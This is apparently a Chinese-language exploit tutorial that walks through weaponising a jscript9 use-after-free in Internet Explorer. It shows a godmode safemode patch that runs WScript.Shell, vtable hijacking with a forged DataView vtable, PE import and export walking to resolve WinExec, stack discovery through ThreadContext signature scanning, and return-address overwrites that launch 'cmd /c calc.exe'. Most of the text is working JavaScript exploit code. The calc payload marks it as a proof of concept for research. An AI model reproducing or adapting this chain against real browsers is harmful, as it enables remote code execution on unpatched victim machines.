以1380为例,当利用UAF可以进行任意地址读写时并泄露任意对象地址时,最简单的利用方式就是借助修改jscript9的safemode去开启godmode开关然后再通过ActiveXObject去访问COM对象执行相关操作
首先利用在1380分析报告中实现的任意对象地址泄露的方法,泄露ActiveXObject对象地址

访问0x1c偏移处保存的地址值+0x4处,并获取保存在该地址的值


访问上文中获取到的地址值+0x1f4偏移处,并将其保存的值改写为0,即可打开godmode

开启上帝模式后就可以为所欲为了,直接使用ActiveXObject去执行cmd指令起计算器
function Run_ActiveXObject(){
var ActiveXObj = new ActiveXObject("Wscript.shell");
ActiveXObj.Exec("calc.exe");
}
在1380中可以通过类型混淆来读写任意对象的内存,这也就意味着可以改写其虚表,当能劫持虚表,控制虚表内虚函数地址时想要此函数被调用还需要找到一处虚函数调用,通过CVE 2019-1221的EXP代码可以发现在Js::JavascriptOperators::HasItem函数内的一处虚表调用,此函数可以使用in来触发调用。
举例:
var a = new Array(0, 1, 2, 3, 4, 5);
var b = 0x11;
if(b in a){}
然后在Js::JavascriptOperators::HasItem函数处下断点,当代码运行后断点触发,查看Js::JavascriptOperators::HasItem会发现会有一处:

此处明显为一处虚函数调用,从对象地址ebx中读取虚表地址,然后从虚表0x7C偏移处获取到一个虚函数,然后使用call esi去调用它
然后使用ln与dd指令来查看ebx存放着哪个对象

从对象类型以及其中的值来判断,ebx中存放的对象就是js代码中创建的array数组a,所以就可以通过这一特性来改写数组a对象的虚表。然后当代码运行至此的时候就会引用到伪造的虚表。
仔细观察还会发现在call esi之前还有一句push edx,在此下断,查看edx中数据会发现其值刚好是js代码中变量b的值,利用此特性还能为后面将要调用的函数传参。

通常情况下,同类对象是共用一张虚表的,此虚表实际存放在模块某一指定偏移处,所以可以通过虚表地址来获取模块基址。
首先以Array对象为例,它底层是由jscript9中的Js::JavascriptNativeIntArray对象来实现的。
先通过泄露对象地址取到Js::JavascriptNativeIntArray的虚表地址

将其低16位置为0,再去判断70df0000处内容是否为MZ,是的话即为当前模块基址

function Js_GetCurrentModuleBase(addr){
//将低16位置0
var base = addr & 0xffff0000;
//判断是否是MZ,是的话当前base就是模块基址
while(base){
if((read_32(base) & 0xffff) == 0x5a4d){
return base;
}
base -= 0x10000;
}
return 0;
}
导入表结构体及其相应值偏移:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
+0x0 union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //该字段指向导入名称表(INT),该RVA是一个IMAGE_THUNK_DATA结构体0x01b218
};
+0x04 DWORD TimeDateStamp; //可以忽略,一般为0
+0x08 DWORD ForwarderChain; //一般为0
+0x0C DWORD Name; //指向DLL的名称的RVA地址
+0X10 DWORD FirstThunk; //该字段包含导入地址表(IAT)的RVA,IAT是一个IMAGE_THUNK_DATA结构体数组 0x01b000 0x01b3e0
} IMAGE_IMPORT_DESCRIPTOR;
拿到jscript9基址后先获取到其导入表所在的偏移0x3C处取到一个数值,用此值+0x80+模块基址即可得到导入表地址偏移

用此偏移+模块基址便是导入表的实际地址

导入表+0xC偏移处存放着导入模块名称偏移,用此偏移+当前模块基址得到实际地址

然后去以此比较模块名称来找到需要的模块,当没有找到时,使当前导入表地址+0x14找到下一个模块处,以此往复直到找到要找的模块。

当找到后,在当前导入表地址处0x10偏移处存放着此模块函数导入地址偏移,用此偏移加模块基址,找到导入函数地址

得到某一函数后,再利用前面实现的通过虚表获取模块基址的函数,将找到的指定模块中的函数作为参数传入,即可得到模块基址
function Js_GetModuleBase(base, modules_name){
//获取IAT表偏移
var import_tab_offset = read_32(base + read_32(base + 0x3C) + 0x80);
//偏移+基址=实际地址
var import_tab_address = base + import_tab_offset;
var current_tab_addr = import_tab_address;
var max = import_tab_address + 0x1000;
while(current_tab_addr < max){
//IAT表0xC偏移处存放着模块名称字符串偏移,偏移+基址=实际地址
var module_name_addr = base + read_32(current_tab_addr + 0xC);
if(Js_StrCmp(modules_name, module_name_addr)){
var IAT_Addr = base + read_32(current_tab_addr + 0x10);
var func = read_32(IAT_Addr);
while(!func){
IAT_Addr += 0x4;
func = read_32(IAT_Addr);
}
return Js_GetCurrentModuleBase(func);
}
current_tab_addr += 0x14;
}
return 0;
}
导出表结构体及其相应值偏移:
typedef struct _IMAGE_EXPORT_DIRECTORY {
+0x00 DWORD Characteristics; //保留 总是定义为0
+0x04 DWORD TimeDateStamp; //文件生成时间
+0x08 WORD MajorVersion; //主版本号 一般不赋值
+0x0A WORD MinorVersion; //次版本号 一般不赋值
+0x0C DWORD Name; //模块的真实名称
+0x10 DWORD Base; //索引基数 加上序数就是函数地址数组的索引值
+0x14 DWORD NumberOfFunctions; //地址表中个数
+0x18 DWORD NumberOfNames; //名称表的个数
+0x1C DWORD AddressOfFunctions; //输出函数地址的RVA
+0X20 DWORD AddressOfNames; //输出函数名字的RVA
+0x24 DWORD AddressOfNameOrdinals; //输出函数序号的RVA
} IMAGE_EXPORT_DIRECTORYM, *pIMAGE_EXPORT_DIRECTORY;
拿到kernel32.dll模块基址后,用其模块基址+0x3C拿到一个数值,用此值+0x78+模块基址找到导出表偏移地址,用此偏移地址+模块基址找到导出表实际地址

用EAT表地址分别加0x1C、0x20、0x24分别拿到函数地址表偏移、函数名称表偏移、函数序号表偏移,用偏移+模块基址=实际地址,要注意的是,这些地址中(除序号表外)存放的是实际值所在地址的RVA

然后再记得用导出表地址+0x14拿到导出函数个数

然后以函数个数为最大值去进行循环遍历查找,函数名称表偏移占4个字节,循环到第几次就用几去乘以4然后加模块基址,直到找到要找的函数

找到要找的函数名称后,需要找到其对应的序号,以AddAtomA函数为例,当找到其函数名时是乘以4,想要找到其对应序号就需要用序号表地址+4*2

此处乘以2是由于每个序号只占2字节。
找到函数序号后,就可以利用其序号来找到其实际函数地址
用其序号乘以4再加上函数地址表就可以得到函数地址偏移,用此偏移加模块基址便是实际函数地址

function Js_GetProcAddress(hModule, lpProcName){
//获取导出表偏移
var export_tab_offset = read_32(hModule + read_32(hModule + 0x3C) + 0x78);
//偏移+基址=实际地址
var export_table = hModule + export_tab_offset;
//导出函数个数
var function_number = read_32(export_table + 0x14);
//函数地址表地址
var function_address = hModule + read_32(export_table + 0x1C);
//函数名称表地址
var function_name = hModul e + read_32(export_table + 0x20)
//函数序号表地址
var function_ordinals = hModule + read_32(export_table + 0x24);
//循环遍历查找
for(var i = 0; i<function_number; i++){
//获取当前函数名并去匹配
var cur_fun_name = hModule + read_32(function_name + i * 0x4);
if(Js_StrCmp(lpProcName, cur_fun_name)){
//取当前函数序号
var ordinal = read_16(function_ordinals + i * 0x2);
//取实际函数地址
var function_ptr = hModule + read_32(function_address + ordinal * 0x4);
return function_ptr;
}
}
return 0;
}
当能从kernel32.dll模块中拿到winexec函数后,就要开始进行虚表劫持,来讲winexec函数地址填入相应位置了。
首先拿到一个对象的地址,查看其虚表会发现虚表中的函数地址是无法写入的,也就是说无法直接去改虚函数的地址

再去查看对象的内存属性会发现是可写的,既然无法改写虚表内容,那就直接伪造一张虚表,写给对象就可以了

此处使用DataView去伪造虚表,因为要从虚表0x7c偏移处获取函数地址,使用创建的arraybuffer大于7C即可
var fake_vtable = new DataView(new ArrayBuffer(0x100));
然后取到WinExec函数后将其地址填入fake_vtable+0x7C偏移处,由于直接调用fake_vtable.setUint32填入值会导致字节序被打乱,所以使用在之前写过的任意地址写函数来写入值,但在这之前还需要知道DataView实际存放数据的地址。

由于调试时已经完成虚表劫持部分,所以直接调试,05ba1030+0x7c处的值是手动写入的,而05ba1030又存放在dataview对象的0x1C偏移处,所以从dataview对象的0x1C偏移处就可以拿到实际内容的保存地址,将此地址写入要被劫持的array对象的虚表的位置即可完成虚表劫持。
然后还要考虑如何传入参数,此处还是使用array(注意如果要传入的参数命令行字符过多时不可使用array,可以使用dataview)
//参数字符串地址cmd /c calc.exe
var cmd_line_arr = new Array(0x20646d63,0x6320632f,
0x2e636c61,0x00657865,0x00);
泄露cmd_line_arr地址后会发现其内容保存在对象0x38偏移处,将其对象地址+0x38便是命令行字符串的地址,将此地址保存,在于被劫持虚表的array对象进行in比较即可

由于此漏洞无法直接去覆盖栈内容,但是可以进行任意地址读写,所以需要先找到栈地址,在jscript9中保存有一个全局ThreadContext对象此对象实际上是一个链表,可以通过全局变量jscript9!ThreadContext::globalListFirst获取此链表中的第一个节点。


此处可以通过偏移来直接获取到globalListFirst,但要注意的是如果jscript9发生改变,此偏移值就有可能会发生改变,所以最保险的方法是通过特征码查找来获取globalListFirst的地址,在jscript9中有函数JsUtil::DoublyLinkedListElement<ThreadContext>::LinkToBeginning<ThreadContext>会去引用globalListFirst,所以可以通过LinkToBeginning函数特征码来获取到globalListFirst

可以用JsUtil::DoublyLinkedListElement<ThreadContext>::LinkToBeginning<ThreadContext>函数的前五个字节作为特征码,当找到特征码后直接再向后取四个字节的数,取到的这四个字节,就正好是globalListFirst的地址
////特征码查找JsUtil::DoublyLinkedListElement::LinkToBeginning()函数地址
function Js_GetLinkToBeginning(base){
var Hex_code = [0x83, 0x21, 0x00, 0x8B, 0x15];
var address = 0x1;
var pe_address = base + read_32(base + 0x3c);
var pe_optheader = pe_address+0x18;
var code_size = read_32(pe_optheader + 0x4);
var code_base = base + 0x1000;
var tmp_address = 0;
var i = 0;
var j = 0;
for(i = 0; i < code_size; i++){
for(j = 0; j < 0x5; j++){
if(read_8(code_base + j) != Hex_code[j]){
break;
}
}
if(j >= 0x5){
break;
}
code_base++;
}
if(i < code_size){
address = read_32((code_base + 0x5));
return address;
}
return 0;
}
找到globalListFirst后,取其前四个字节,就可以获得链表中第一个ThreadContext对象的地址,在此对象中要关注的是0x8偏移处与0x18偏移处的两个值

其中0x8偏移处为一个指针,0x18处的值+0x1f0000就是要获取栈地址,此处可以发现指向下一个节点的指针为0,这说明此次刚好头指针即尾指针,链表中只有一个节点,当指针不为空时,说明链表中有一个以上节点,此时就需要取最后一个节点,此处需要注意的是指针指向的地址实际是ThreadContext对象虚表后的地址,也就是下一个节点ThreadContext对象+0x4的地址。
当取到尾节点后取其0x18偏移处的值,用此值+0x1f0000就是要得到的栈地址。
////获取栈地址函数
function Js_GetStack(){
//定义一个对象用于泄露jscript9基址
var arr_tmp = new Array(0x00,0x00,0x00,0x00);
//取到对象虚表
var arr_vtable = read_32(leak_object_adress(arr_tmp));
//获取jscript9基址
var Jscript9_Base = Js_GetCurrentModuleBase(arr_vtable);
//jscript9如果发生更改此偏移值就会改变
//所以通过特征码匹配获取globalListFirst地址,即使偏移值改变也可以找到
var globalListFirst_addr = Js_GetLinkToBeginning(Jscript9_Base);
//获取ThreadContext实例基址,+4后从虚表后的内容开始处理
var ThreadContext_ObjAddr = read_32(globalListFirst_addr) + 0x4;
var TheNext_Ptr = read_32(ThreadContext_ObjAddr + 0x4);
var Tmp_Ptr = 0;
while(TheNext_Ptr != 0x00){
Tmp_Ptr = TheNext_Ptr;
TheNext_Ptr = read_32(TheNext_Ptr + 0x4);
}
//如果链表起始节点就是结束节点的话就不用执行if中内容
if(Tmp_Ptr != 0x00){
ThreadContext_ObjAddr = Tmp_Ptr;
}
//获取StackLimitForCurrentThread字段值
var StackLimitForCurrentThread = read_32(ThreadContext_ObjAddr + 0x14);
//StackLimitForCurrentThread+0x1f0000可以得到一个接近esp地址的值
var Stack_Top = (StackLimitForCurrentThread + 0x1f0000);
return Stack_Top;
}
在拿到一个栈地址后,想要进一步利用,且也为了能绕过执行流保护,所以还需要找到一个返回地址,并覆盖其值,此处就以Js::JavascriptString::EntrySplit为例。
在代码最后添加
var tg ={};
tg.valueOf = function(){
//此处搜索返回地址
}
"abc".split("",tg);
此代码会隐式调用tg对象的valueOf函数,而valueOf底层会去调用Js::JavascriptString::EntrySplit函数,所以在拿到上文中的栈地址后,可以在valueOf会调用查找Js::JavascriptString::EntrySplit的返回地址,并覆盖他,在Js::JavascriptString::EntrySplit执行结束后,就可以转入指定的地址去执行代码。
然后在Js::JavascriptString::EntrySplit处下断点顺便验证上文中取到的栈地址是否准确

此时程序转入Js::JavascriptString::EntrySplit,esp指向的地址中便存放着Js::JavascriptString::EntrySplit的返回地址,用上文中得到的值+0x1f0000可以看到,除了低三位其余各位都一致,剩下的就只剩找到esp指向的地址了

查看调用栈或者esp中的值,来查看Js::JavascriptString::EntrySplit的返回地址

710b9003是函数jscript9!Js::JavascriptFunction::CallFunction<1>+0x93偏移处的一个地址

所以只要找到jscript9!Js::JavascriptFunction::CallFunction<1>地址再加0x93便能得到返回地址。但有两个问题:

////特征码获取Js::JavascriptString::EntrySplit执行完后的返回地址
function Js_GetCallFunction_addr(){
//定义一个对象用于泄露jscript9基址
var arr_tmp = new Array(0x00,0x00,0x00,0x00);
//取到对象虚表
var arr_vtable = read_32(leak_object_adress(arr_tmp));
//获取jscript9基址
var base = Js_GetCurrentModuleBase(arr_vtable);
//特征码找到返回地址处前9字节的代码特征码
//原因也同上面globalListFirst地址查找函数,如果jscript9发生改变
//那返回地址偏移也会发生改变,所以最保险的方法就是用特征码查找
var Hex_code = [0xff, 0x75, 0xe8, 0xff, 0x75, 0xe4, 0xff, 0x55, 0xf4];
var address = 0x1;
var pe_address = base + read_32(base + 0x3c);
var pe_optheader = pe_address+0x18;
var code_size = read_32(pe_optheader + 0x4);
var code_base = base + 0x1000;
var tmp_address = 0;
var i = 0;
var j = 0;
for(i = 0; i < code_size; i++){
for(j = 0; j < 0x9; j++){
if(read_8(code_base + j) != Hex_code[j]){
break;
}
}
if(j >= 0x9){
break;
}
code_base++;
}
if(i < code_size){
//+9正好为Js::JavascriptString::EntrySplit执行完后的返回地址
address = code_base + 0x9;
return address;
}
return 0;
}
现在以及取到一个存放返回地址的栈地址,也取到了返回地址(存放在进入Js::JavascriptString::EntrySplit函数时的esp寄存器中),通过观察可以发现取到的栈地址与进入Js::JavascriptString::EntrySplit函数时esp中的值虽然无法确定其差值,但是可以肯定的是这个差值肯定在0x0~0xfff之间,所以可以通过一个循环来查找存放着返回地址的地址,此地址很有可能就是要覆盖的地址。
tg.valueOf = function(){
var esp = 0;
for(var i = 0; i <= 0xfff; i += 0x4){
var curr_stack_top = Stack_Top + i;
if(read_32(curr_stack_top) === ret_addr){
esp = (curr_stack_top);
}
}
}
运行后会发现取到的值与esp并不相同,怀疑可能在0~fff偏移范围内,可能不止一处保存着返回地址,故对以上代码进行更改
tg.valueOf = function(){
//有时会有多个会ret到CallFunction函数处的地址,用数组保存之后全部修改
var esp_addrlist = [];
for(var i = 0; i <= 0xfff; i += 0x4){
var curr_stack_top = Stack_Top + i;
if(read_32(curr_stack_top) === ret_addr){
esp_addrlist.push(curr_stack_top);
}
}
var s = "";
for(var i = 0; i < esp_addrlist.length; i++){
s += esp_addrlist[i].toString(16)+"\n";
}
alert(s);
}
结果验证了我的怀疑

不过可以肯定的是,不管有几处保存着返回地址,但肯定有一处保存的返回地址是可用的

所以使用最简单无脑的方法,那就是全部覆盖,最后使用在虚表劫持中写好的获取函数地址的函数获取到winexe函数地址,将其填入覆盖到返回地址处即可,调整后代码如下
tg.valueOf = function(){
//有时会有多个会ret到CallFunction函数处的地址,用数组保存之后全部修改
var esp_addrlist = [];
for(var i = 0; i <= 0xfff; i += 0x4){
var curr_stack_top = Stack_Top + i;
if(read_32(curr_stack_top) === ret_addr){
esp_addrlist.push(curr_stack_top);
}
}
//暴力方法,全部覆盖
for(var j = 0; j < esp_addrlist.length; j++){
//winexec函数地址用于覆盖返回地址
write_32(esp_addrlist[j], winexec);
//winexec函数返回地址
write_32(esp_addrlist[j] + 0x4, 0x1);
//winexec函数第一个参数
write_32(esp_addrlist[j] + 0x8, cmd_line);
//winexec函数第二个参数
write_32(esp_addrlist[j] + 0xc, 0x5);
}
};
最后执行代码验证结果
